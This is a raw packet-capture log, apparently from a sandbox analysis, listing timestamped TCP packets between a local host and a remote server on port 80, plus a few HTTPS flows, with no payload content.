Nov 23, 2024 15:22:10.952420950 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:10.960712910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:10.960776091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:10.960789919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:10.960844040 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:10.969105005 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:10.969161987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:10.969175100 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:10.969209909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:10.977447033 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:10.977526903 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:10.977546930 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:10.977593899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:10.985827923 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:10.985884905 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:10.985948086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:10.986001015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:10.994170904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:10.994225979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:10.994271994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:10.994321108 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.002562046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.002614975 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.002662897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.002713919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.010982990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.011035919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.011039972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.011094093 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.019370079 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.019469976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.019470930 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.019519091 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.026940107 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.026989937 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.027051926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.027097940 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.140199900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.140299082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.140314102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.140364885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.143017054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.143069029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.143134117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.143187046 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.150686979 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.150742054 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.150763035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.150813103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.158272982 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.158354998 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.158405066 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.158452988 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.163043976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.163103104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.163151979 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.163203001 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.167768002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.167835951 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.167874098 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.167922020 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.172638893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.172691107 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.172699928 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.172736883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.177181005 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.177236080 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.177294016 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.177340984 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.181910992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.181983948 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.182044029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.182092905 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.186600924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.186666965 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.186731100 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.186781883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.191345930 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.191394091 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.191468000 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.191518068 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.196069956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.196135044 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.196192980 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.196243048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.200969934 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.201023102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.201037884 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.201073885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.205473900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.205589056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.205591917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.205641985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.210272074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.210323095 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.210390091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.210436106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.215010881 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.215059042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.215161085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.215209961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.219635010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.219700098 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.219726086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.219779015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.224589109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.224647045 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.224653006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.224697113 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.229049921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.229101896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.229119062 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.229171038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.233870029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.233920097 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.373617887 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.373636007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.373672962 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.373702049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.375981092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.376027107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.376122952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.376166105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.380642891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.380686045 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.380712986 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.380754948 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.385200024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.385256052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.385324001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.385379076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.389880896 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.389928102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.392250061 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.392293930 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.392383099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.392426014 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.396950006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.396992922 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.397082090 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.397128105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.401690006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.401742935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.401789904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.401838064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.406407118 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.406470060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.406517029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.406564951 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.500214100 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.500262022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.500268936 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.500303984 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.502466917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.502520084 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.502578974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.502635956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.507241011 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.507291079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.507303953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.507354021 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.511949062 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.512000084 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.512005091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.512048006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.516881943 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.516917944 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.516936064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.516952991 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.521327972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.521383047 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.521431923 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.521483898 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.526061058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.526110888 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.526150942 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.526200056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.529690027 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:11.530215979 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:11.530297041 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:11.530730963 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:11.530751944 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:11.530761003 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.530812025 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.530846119 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.530891895 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.535497904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.535550117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.535557032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.535594940 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.540246010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.540281057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.540299892 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.540333033 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.544910908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.544967890 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.545013905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.545062065 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.549628019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.549673080 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.549720049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.549778938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.554583073 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.554636002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.554681063 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.554728031 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.559065104 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.559113979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.559149981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.559207916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.563807011 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.563843966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.563858986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.563886881 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.568491936 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.568542957 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.568597078 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.568645000 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.573210955 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.573266983 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.573318005 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.573367119 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.577966928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.578001976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.578016996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.578042984 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.582633972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.582678080 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.582727909 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.582772017 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.587394953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.587445021 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.587477922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.587524891 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.716545105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.716602087 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.750375986 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.750443935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.751498938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.751549006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.751629114 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.751678944 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.756355047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.756421089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.756437063 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.756490946 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.762907028 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:11.763350964 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:11.763408899 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:11.763448000 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:11.763773918 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:11.763787985 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:11.763976097 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:11.763988972 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:11.764295101 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:11.764301062 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:11.850516081 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.850595951 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.854408979 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.854464054 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.855598927 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.855705976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.855760098 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.855776072 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.870151043 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.870237112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.915801048 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:11.916255951 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:11.916282892 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:11.916718960 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:11.916726112 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:11.957947969 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.958137035 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.959042072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.959058046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.959115028 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.963299990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.963326931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.963387012 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.968233109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.968250036 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.968327999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:11.991245985 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:11.993875027 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.093470097 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.093548059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.093641996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.095736027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.095830917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.095901966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.111927032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.112088919 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.112160921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.114301920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.114372015 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.114430904 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.119034052 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.119106054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.119160891 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.123747110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.123837948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.123897076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.128417969 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.128528118 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.128583908 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.128652096 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:12.129156113 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:12.129173040 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:12.129754066 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:12.129760027 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:12.133178949 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.133233070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.133331060 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.133379936 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.137923002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.137975931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.138042927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.142601013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.142687082 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.142743111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.147326946 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.147423983 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.147483110 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.152023077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.152144909 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.152198076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.156711102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.156819105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.156874895 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.161523104 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.161572933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.161627054 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.166183949 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.166290045 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.166347980 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.170888901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.171053886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.171125889 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.175645113 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.175736904 CET	80	49760	31.41.244.11	192.168.2.4
